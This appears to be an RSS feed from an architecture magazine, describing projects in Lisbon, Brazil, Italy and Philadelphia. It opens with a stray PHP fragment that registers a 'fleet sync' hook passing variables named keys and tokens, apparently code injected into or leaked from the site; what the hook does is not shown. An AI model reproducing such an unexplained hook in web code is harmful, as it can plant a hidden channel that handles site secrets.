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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Architecture – Architalkz https://architalkz.com - Architecture & Design Magazine Fri, 13 Jun 2025 08:10:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://architalkz.com/wp-content/uploads/2024/05/ArchiTalkz-Fav-48x48.png Architecture – Architalkz https://architalkz.com 32 32 Sb44 Building by ÔCO https://architalkz.com/architecture/sb44-building-by-oco/ https://architalkz.com/architecture/sb44-building-by-oco/#respond Fri, 13 Jun 2025 08:10:22 +0000 https://architalkz.com/?p=11549 Building SB 44, located in the São Bento neighborhood, in Lisbon, Portugal, is the result of the renovation of a “Gaioleiro” city building from the end of the 19th century. Its construction is characterized by thick perimeter walls, in mortared stone, with wooden floors, Lioz stone window frames, ceramic tile roof and a facade covered in traditional tiles.

The building consists of two volumes. At the front, the main residential volume, with 5 floors, and at the back, a two-story warehouse that served the commerce that existed on the ground floor.

The intention of preserving the identity and chronology of the building dictated that the facades were maintained and preserved, innovating in the interior.

Small apartments were created, meeting the demand at the time. Traditional materials were used, such as pine flooring, color patterned cement tiles, Lioz stone. Atriums and corridors stood out for their contrast, with a bolder design, favoring concrete, metal and integrated lighting.

The connection between the two volumes is materialized with a wooden pergola, and a minimalist garden, with tree bark and a birch tree in the center.

]]> https://architalkz.com/architecture/sb44-building-by-oco/feed/ 0 Lóios Gymnasium by ÔCO https://architalkz.com/architecture/loios-gymnasium-by-oco/ https://architalkz.com/architecture/loios-gymnasium-by-oco/#respond Mon, 09 Jun 2025 10:22:18 +0000 https://architalkz.com/?p=11519 The Lóios Neighborhood is located in Marvila, Lisbon. It was built between 1979 and 1981, as a result of the Chelas Urbanization Plan, promoted by the Lisbon City Council, the Portuguese Government, and also under a cooperative regime. With a strong social character, it brings together diverse cultures and different ways of appropriating and experiencing urban space.

   

The Lóios Gymnasium is located in the center of a group of residential buildings and represents a very important element for energizing the resident population. Until then, the pavilion was rundown and its facilities were insufficient for the demand. At the initiative of the Marvila Parish Council, the pavilion’s changing rooms were renovated and expanded, adding a new gym room.

 

The main vector of the project was the need to obtain a low-cost construction, resorting to alternative construction solutions, using primary materials as the final finish.

 

That is, an attempt was made to use economical materials in an optimized way, insofar as their application resulted in a resistant and even sophisticated final finish.

]]> https://architalkz.com/architecture/loios-gymnasium-by-oco/feed/ 0 Monolyt By Architects Office https://architalkz.com/architecture/monolyt-by-architects-office/ https://architalkz.com/architecture/monolyt-by-architects-office/#respond Fri, 23 May 2025 06:10:45 +0000 https://architalkz.com/?p=11462 At Estaleiro Beach, architecture emerges from the mimesis and poetics of the erosion process, incorporating natural elements and human presence as agents. The millennial process guides volumetric architectural operations, aiming to integrate the built and preexisting environments. It proposes a solution that respects scales, experiences, and the local context, leaving a positive legacy in the region.

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From the first visit to the site, it became evident that the coastal context of Santa Catarina, marked by urban verticalization over the last 50 years, required an architectural response that could preserve the essence of the place: unique geological formations, with rocks of varying resistance, shaping a coastline of almost untouched natural beauty.

The MONOLYT residential project, which is scenic, cinematic, and atmospheric, draws on rocks as its conceptual spark. The concept extends beyond the natural element, inspiring the creation of forms and volumes that evoke the erosive process. Human intervention aligns with natural wear, sculpting spaces, and pathways that respect and celebrate the original rocks, maintaining the balance between raw and refined.

Rock as a Monument

With topography defined by the unevenness between two plateaus, the 180-meter-deep site is juxtaposed between the sea and the river. Considering the APP (Permanent Preservation Area) strip, 30 meters of native vegetation by the watercourse are respected and preserved in their original state. The project begins to take shape only from the remaining stretch: a transitional architecture mimicking local symbols.

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A large monolith emerges from the ground. This raw rock is sculpted by human erosive processes and synthesized into two adjacent volumes occupying distinct levels. Each resulting block is eroded to form central courtyards, admitting natural light and ventilation in a rhythm of solids and voids.

The program erodes the monolith. The four residential units on each floor divide the blocks into their respective sections, each oriented differently, following a logic of staggered stratification. The fissures between these sections create new permeability, creating user pathways and voids as subsystems of open spaces inhabiting the sculpted rocks.

Rock as Atmosphere

The journey across the site, extending to the Permanent Preservation Area (APP), transforms walking into a playful experience. Landscaping that restores native vegetation delineates social areas, strengthening the bond with pre-existing nature. The flooring, composed of rocky fragments, guides paths connecting the internal areas of the residence, creating visual and sensory continuity.

Water emerges as the last and most symbolic element of this ecosystem. On the ground floor, reflecting pools evoke the sensation of entering a grotto, connecting architecture and nature. Private pools interact directly with the original rocks within the units, symbolizing MONOLYT’s identity and a link between the project and its natural surroundings. This underlines the integration between minerals and water.

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Rock as Treasure

Beyond stones and open spaces, the next subsystem of MONOLYT’s architecture explores the rock as a treasure—a concept evoking discovery and preciousness. This principle is analogous to pyrite, a rock that, when stripped, reveals a cuboid formation with unexpected brilliance, comparable to the hidden richness in the project. Within the erosive process, these architectural elements function as blocks that settle and inhabit the carved spaces, defining everything from the access gatehouse to the equipment composing the common areas, with programs such as a spa, gym, and club.

Rock as Furniture

The design process reaches the micro-scale of the building and even influences the furniture proposal. The presence of more stone pieces—either exclusively designed for the project or selected during the curatorial process—further reinforces rock’s potency as an inspiring source and its ultimate integration with the object it inhabits. “Monolyt offers a scenic, cinematic, and atmospheric residential space, in which architecture complements the natural environment and integrates form, materiality, and experiences.” – Greg Bousquet.

]]> https://architalkz.com/architecture/monolyt-by-architects-office/feed/ 0 Leopoldo Pilla School by TARI-Architects https://architalkz.com/architecture/leopoldo-pilla-school-by-tari-architects/ https://architalkz.com/architecture/leopoldo-pilla-school-by-tari-architects/#respond Sat, 17 May 2025 12:34:53 +0000 https://architalkz.com/?p=11435 The proposal for the new school ‘Leopoldo Pilla’ in Venafro emerges as part of the Italian national project of the Scuola Futura – La Scuola per l’Italia di Domani, aiming to provide modern and adapted educational edifices to the local communities all around the country.

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One of the starting points of the intervention focuses on investigating the critical dialogue between the educational edifice and the surrounding context, in order to define its social intent.

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The complex, in fact, presents itself not only as a space for education but above all as a city place, in which society and sociality could be daily reinforced. A place where the children, in addition to studying, will be able to understand the importance of growing up as part of a cohesive community, while the families will benefit from a meeting spot open to the city.

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The large elevation developed along the main street has multiple functions and meanings: a backdrop to the square itself as well as a landmark for the city, a device for an active dialogue with the citizenry as well as a protecting diaphragm for the school environments and for the green backyard that emerges as a green heart related to the didactic spaces.

]]> https://architalkz.com/architecture/leopoldo-pilla-school-by-tari-architects/feed/ 0 FAI BENE School by TARI-Architects https://architalkz.com/architecture/fai-bene-school-by-tari-architects/ https://architalkz.com/architecture/fai-bene-school-by-tari-architects/#respond Sat, 17 May 2025 11:20:13 +0000 https://architalkz.com/?p=11422 The intervention site is located in the northern area of Rimini, in a strip of land between the green countryside of the Romagna region and the deep blue of the Adriatic Sea. While currently preserving a green, undeveloped state, being surrounded by lands of predominantly agricultural use, the plot destined to accommodate the new primary school is subject of a strategic intervention on a larger urban scale, aimed to strengthen the connection with the sea via green links.

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A critical reading of the existing context leads to a fundamental question: How to properly intervene according to the peculiarity of the site, accommodating the needs of the developing city while protecting the natural landscape?

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On the one hand, the new school will have to fit organically into the morphology of the peri-urban fabric in which it is inserted; on the other, it will have to embrace the landscape dimension in order to become a unique space.

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In this context, the relationship between nature, uncontaminated, and the built, artifice, emerges not as antithetical, opposed, but as dialogic and precisely resolved in the physical space of contact between one and the other.

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The new volume is conceived, in fact, as gradually leaning towards the surrounding natural context, opting for morphological and figurative solutions favoring a system profoundly integrated with the exterior, developed on a single level and acting as a spatial synthesis between the urban and natural landscapes.

]]> https://architalkz.com/architecture/fai-bene-school-by-tari-architects/feed/ 0 Filippo Verna School by TARI-Architects https://architalkz.com/architecture/filippo-verna-school-by-tari-architects/ https://architalkz.com/architecture/filippo-verna-school-by-tari-architects/#respond Wed, 14 May 2025 12:38:39 +0000 https://architalkz.com/?p=11409 The proposal for the new school ‘Filippo Verna’ in Fara San Martino emerged as part of the Italian national project of the Scuola Futura – La Scuola per l’Italia di Domani, aiming to provide modern and adapted educational edifices to the local communities all around the country.

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The intervention site is located in a village consisting of a multitude of buildings with predominantly moderate heights, picturesquely making room between the gorges of the two valley of Santo Spirito and Serviera and doubled by the cultivated fields that carve out the land – an image that inspired Escher in creating a woodcut of the village in the late 1920s.

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In fact, the pitched roofs and the general topography of the place guided the development of the new project revolving around the elaboration of the roof as a pivotal element – the realization of an element that is simultaneously context integrated and recognisable.

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A “NEW ROOF” AMONG THE ROOFS of Fara San Martino. An ANTI-LANDMARK that can only be perceived from certain glimpses of the village itself.

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In order to emphasize the importance of the roofing, it is HORIZONTALLY HIGHLIGHTED almost as if it were a canvas, suspended with respect to the stereometric volume of the school, allowing the students to enjoy a 360-degree view of the surrounding landscape, while also accommodating a series of open-air functions freely available to the students and the teachers of the school.

]]> https://architalkz.com/architecture/filippo-verna-school-by-tari-architects/feed/ 0 Love & Hope Transitional Housing For Homeless People by Everest Group https://architalkz.com/architecture/love-hope-transitional-housing-for-homeless-people-by-everest-group/ https://architalkz.com/architecture/love-hope-transitional-housing-for-homeless-people-by-everest-group/#respond Fri, 09 May 2025 07:23:42 +0000 https://architalkz.com/?p=11388 The project addresses the critical issue of homelessness in the United States, particularly focusing on Philadelphia, where a significant portion of the population lacks adequate housing and basic living conditions. Despite economic indicators suggesting prosperity, homelessness persists and even escalates in major cities. In Philadelphia alone, an estimated 900 to 1200 individuals endure nights on the streets, while another 4,700 seek refuge in shelters or temporary accommodations, with many resorting to makeshift arrangements in abandoned spaces.

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Architecture possesses the potential to foster healing both for individuals and communities. When buildings reflect the cultural heritage and aspirations of a place, they can contribute significantly to this healing process. This project seeks to leverage architecture to tackle Philadelphia’s housing crisis through the establishment of transitional housing. It offers temporary shelter solutions for homeless individuals, facilitating their transition away from street life, alongside crucial support services for short-term residents. During the initial site survey, a drone was employed to capture aerial views, revealing the stark contrast between Philadelphia’s beautiful skyline and the dilapidated streets of North Philadelphia. This observation sparked the idea of providing the homeless population with access to such vistas. Every individual, regardless of their circumstances, deserves the opportunity to enjoy their city’s skyline—a symbol of hope and triumph, as depicted in the iconic “Rocky” scene.

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The project envisions architecture as a key player in addressing homelessness by not only providing housing security but also fostering rehabilitation and community reintegration. Public spaces are strategically integrated into the design, offering areas for learning, interaction, and socialization to support residents’ holistic well-being. Collaboration with local organizations and the community is fundamental to the project’s success. Vocational training programs, mental health support services, and social skills training are incorporated to equip individuals with the tools necessary for rebuilding their lives and establishing connections within society.

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The building’s unique design features a twist at a precise angle, offering an unparalleled view of the city skyline. A continuous public pathway leading from the ground to the rooftop provides opportunities for physical activity and connection with nature. This inclusive design ensures that even the homeless residents can appreciate the city’s beauty, fostering inspiration and resilience.

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Symbolically, the building’s slope represents the journey of overcoming challenges and achieving success, echoing the struggles and triumphs of its inhabitants. It serves as a beacon of hope and opportunity, offering a tangible pathway for individuals to rebuild their lives and pursue their aspirations. In conclusion, this project transcends mere architectural design; it embodies a vision of empowerment and transformation for the homeless population of Philadelphia. By providing not just shelter but also opportunities for growth and community integration, it aspires to create a more inclusive and compassionate society.

]]> https://architalkz.com/architecture/love-hope-transitional-housing-for-homeless-people-by-everest-group/feed/ 0 S T A R S by Cosimo Scotucci https://architalkz.com/architecture/s-t-a-r-s-by-cosimo-scotucci/ https://architalkz.com/architecture/s-t-a-r-s-by-cosimo-scotucci/#respond Tue, 06 May 2025 11:17:06 +0000 https://architalkz.com/?p=11353 Forests, woods, parks, trees and bushes all require light for their metabolic processes which are at the base of the Life on Earth. In the recent years reforestation has been one of the most crucial topic about the mitigation of Climate Change effects; the same attention must be given to the existing forests. A stressed plant doesn’t work as it should; too much stress can lead to permanent damage or even to the death of the tree.

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To carry out the global plan of carbon sequestration from the atmosphere we need to heal and support the existing Flora. STARS is an installation that aims to boost and reinvigorate urban landscapes, like forests and city parks. A composition of luminescent fiberglass globes, suspended from the trees, light naturally up at night giving extra lifeblood to the surrounding landscape.

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From red to blue tones, these mimic the useful solar radiation spectrum, used by the plants to grow and relax (PAR). During the day STARS absorb the radiation coming from the Sun, giving it back during the night creating a real daydream.

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The globes are in different dimensions, lifted on various heights in order to recall the shimmering sky at night. For centuries and millennia humans have been following the stars to navigate safely across the dark oceans, now, the STARS can help us navigate through this threatening time of change. STARS will start glowing in 2022 summer in Italy.

]]> https://architalkz.com/architecture/s-t-a-r-s-by-cosimo-scotucci/feed/ 0 D H2 Ome by Cosimo Scotucci https://architalkz.com/architecture/d-h2-ome-by-cosimo-scotucci/ https://architalkz.com/architecture/d-h2-ome-by-cosimo-scotucci/#respond Tue, 06 May 2025 10:01:18 +0000 https://architalkz.com/?p=11344 DH2OME is a game-changing infrastructure that aims to provide gallons of fresh water every day where is most needed.

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Many of the countries that are experiencing severe droughts and water scarcity are in the tropical area and the majority of these are under-developed or developing countries, where the sun is shining most of the year and is by far the biggest source of energy.

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DH2OME is a scalable solution that consist in a greenhouse sank in the oceans. Thanks to the solar radiation, the water inside of the dome evaporates, separating itself from salt and other products contained in it, to condense eventually on the glass surface above. The condensed water drops on the surface are perfectly fresh and through only gravity will slide down into the draining system embedded all along the perimeter of the abutment.

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Once there can be extracted directly or spilled into pipelines. Salt and the bi-product of this operation could be sold generating money and fostering the development of new economies Creating a infinite and affordable source of fresh water, DH2OME lays the foundation of a better society: women and children won’t be responsible to find water anymore, walking long distances to collect it, going through threats and dangers.

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No longer burdened by the water crisis, they can care for themselves and for their families, they can start small businesses or pursue their education. Access to safe water is critical to the health of women and their babies during pregnancy and after. DH2OME is an holistic solution to solve simultaneously the water crisis and the socio economic issues that under-developed and developing countries are facing.

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